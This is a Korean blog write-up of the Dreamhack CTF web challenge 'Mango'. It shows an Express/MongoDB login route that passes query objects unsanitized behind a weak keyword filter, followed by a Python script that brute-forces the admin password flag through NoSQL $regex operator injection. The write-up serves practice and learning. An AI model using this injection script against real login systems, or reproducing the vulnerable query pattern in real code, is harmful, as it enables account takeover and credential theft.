[Dreamhack] Mango

pandas·2024년 10월 7일
0

Dreamhack

목록 보기
7/14

00. 문제 파일


2단계 웹 문제

01. 코드 분석

const express = require('express');
const app = express();

const mongoose = require('mongoose');
mongoose.connect('mongodb://localhost/main', { useNewUrlParser: true, useUnifiedTopology: true });
const db = mongoose.connection;

// flag is in db, {'uid': 'admin', 'upw': 'DH{32alphanumeric}'}
const BAN = ['admin', 'dh', 'admi'];

filter = function(data){
    const dump = JSON.stringify(data).toLowerCase();
    var flag = false;
    BAN.forEach(function(word){
        if(dump.indexOf(word)!=-1) flag = true;
    });
    return flag;
}

app.get('/login', function(req, res) {
    if(filter(req.query)){
        res.send('filter');
        return;
    }
    const {uid, upw} = req.query;

    db.collection('user').findOne({
        'uid': uid,
        'upw': upw,
    }, function(err, result){
        if (err){
            res.send('err');
        }else if(result){
            res.send(result['uid']);
        }else{
            res.send('undefined');
        }
    })
});

app.get('/', function(req, res) {
    res.send('/login?uid=guest&upw=guest');
});

app.listen(8000, '0.0.0.0');

No SQL 문제이다
로드맵과 함께했다

02. Exploit

$regex$ne을 함께 써서NO SQL공격을 하면 플래그가 나온다
Brute Force공격을 하면 된다

import requests, string

HOST = "http://host3.dreamhack.games:14200"
ALPHANUMERIC = string.digits + string.ascii_letters
SUCCESS = 'admin'

flag = ''

for i in range(32):
    for ch in ALPHANUMERIC:
        response = requests.get(f'{HOST}/login?uid[$regex]=ad.in&upw[$regex]=D.{{{flag}{ch}')
        if response.text == SUCCESS:
            flag += ch
            break
    
    print(f'FLAG: DH{{{flag}}}')


야압
플래그

03. Review

NO SQL 로드맵 공부하고 바로 함께 실습하니 쉬웠다
로드맵과 함께라면 무엇이든지 할 수 있겠다
다시 보니 어렵다
익스 코드를 못짜겠다
취약점도 잘 안보인다
웹 ㅗㅗ

profile
KDMHS 23 WP

0개의 댓글

관련 채용 정보